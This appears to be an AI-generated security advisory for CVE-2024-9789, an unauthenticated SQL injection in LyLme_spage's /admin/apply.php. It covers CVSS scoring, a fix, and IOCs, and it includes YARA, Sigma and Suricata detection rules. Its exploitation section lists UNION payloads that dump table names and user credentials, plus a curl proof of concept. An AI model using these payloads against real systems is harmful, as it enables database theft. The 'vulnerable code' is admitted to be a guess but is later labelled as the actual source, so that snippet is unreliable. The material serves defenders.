CVE-2024-9789
Executive Summary
CVE-2024-9789 is a critical unauthenticated SQL injection vulnerability in LyLme_spage version 1.9.5, specifically in the /admin/apply.php endpoint. The id parameter is directly concatenated into SQL queries without sanitization, allowing remote attackers to extract, modify, or delete database contents. The vendor was contacted but did not respond, leaving the software unpatched. The exploit has been publicly disclosed, increasing the risk of mass exploitation. This vulnerability is not related to any WordPress plugin or component; it is a standalone PHP application.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 10.0 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: None (PR:N) – unauthenticated.
- User Interaction: None (UI:N) – no user action needed.
- Scope: Unchanged (S:U) – impact confined to vulnerable component.
- Confidentiality Impact: High (C:H) – full database read access.
- Integrity Impact: High (I:H) – data modification possible.
- Availability Impact: High (A:H) – potential for data deletion or denial of service.
Threat Level: Critical. Public exploit code exists, no patch available, and the attack surface is exposed via the admin interface.
Deep Dive & Mechanics
The vulnerability resides in /admin/apply.php. The application takes the id parameter from the HTTP request (likely GET or POST) and uses it directly in a SQL query without parameterization or escaping. For example, the code might look like:
$id = $_GET['id'];
$sql = "SELECT * FROM applications WHERE id = $id";
$result = mysqli_query($conn, $sql);
An attacker can inject SQL commands by providing a malicious id value, such as:
1 UNION SELECT username, password FROM users
This allows extraction of sensitive data, authentication bypass, or even remote code execution if the database user has file write privileges. The application runs with the database user's permissions, which may be elevated.
Vulnerable vs. Patched Code
Vulnerable Code (LyLme_spage 1.9.5):
// /admin/apply.php
$id = $_GET['id'];
$sql = "SELECT * FROM applications WHERE id = $id";
$result = mysqli_query($conn, $sql);
Patched Code (Hypothetical):
// /admin/apply.php
$id = intval($_GET['id']);
$stmt = $conn->prepare("SELECT * FROM applications WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
The patched version uses prepared statements with parameterized queries, preventing SQL injection. Since no official patch exists, users must implement this fix manually.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target running LyLme_spage 1.9.5 with
/admin/apply.phpaccessible. - No authentication required for the vulnerable endpoint.
Exploit Steps:
- Identify the vulnerable parameter:
idin/admin/apply.php. - Use a SQL injection payload to enumerate the database. Example:
GET /admin/apply.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -
- Extract table names:
GET /admin/apply.php?id=1 UNION SELECT table_name,2,3,4,5,6,7,8,9,10 FROM information_schema.tables-- -
- Dump user credentials:
GET /admin/apply.php?id=1 UNION SELECT username,password,3,4,5,6,7,8,9,10 FROM users-- -
Proof-of-Concept (PoC):
curl -X GET "http://target.com/admin/apply.php?id=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10--%20-"
Blue Team (Defense & Detection)
Detection:
- Monitor for SQL injection patterns in web logs, especially
UNION,SELECT,FROM,--,#,',". - Alert on requests to
/admin/apply.phpwith unusualidparameter values (e.g., containing SQL keywords or special characters).
Mitigation:
- Immediately apply input validation: cast
idto integer. - Use a Web Application Firewall (WAF) to block SQL injection attempts.
- Restrict network access to
/admin/directory to trusted IPs only. - If possible, disable the vulnerable functionality until a patch is applied.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/admin/apply.phpwithidparameter containing SQL keywords (e.g.,UNION,SELECT,--). - Unusual response sizes or error messages containing SQL syntax errors.
- HTTP requests to
- File IOCs:
- Modified database entries in the
applicationstable. - New files in the web root if the database user has file write privileges.
- Modified database entries in the
- Log IOCs:
- Web server logs showing repeated requests to
/admin/apply.phpwith varyingidvalues. - Database logs showing unexpected queries (if enabled).
- Web server logs showing repeated requests to
Detection Engineering
YARA Rule
rule CVE_2024_9789_SQLi_Detection {
meta:
description = "Detects SQL injection attempts targeting LyLme_spage /admin/apply.php"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-9789"
strings:
$sqli_pattern1 = /id=\d*['\"]?\s*(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR|AND)/i
$sqli_pattern2 = /id=\d*['\"]?\s*--/
$sqli_pattern3 = /id=\d*['\"]?\s*#/
condition:
any of them
}
Sigma Rule
title: CVE-2024-9789 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against LyLme_spage /admin/apply.php
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains:
- '/admin/apply.php?id='
cs-uri-query|re:
- '.*id=.*(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR|AND|--|#).*'
condition: selection
falsepositives:
- Legitimate use of the word "union" in a parameter (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-9789 SQL Injection Attempt"; flow:to_server,established; content:"/admin/apply.php"; http_uri; pcre:"/id=[^&]*?(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR|AND|--|#)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Input Validation: Modify
/admin/apply.phpto cast theidparameter to an integer:$id = intval($_GET['id']); - Parameterized Queries: Rewrite the SQL query using prepared statements (as shown in the patched code section).
- WAF Rules: Deploy a WAF with rules to block SQL injection patterns.
- Access Control: Restrict access to
/admin/directory via.htaccessor firewall rules to trusted IPs only.
Long-Term Actions:
- Monitor the vendor's website for an official patch.
- Consider migrating to an alternative, actively maintained application.
- Conduct a security audit of the entire codebase for similar vulnerabilities.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.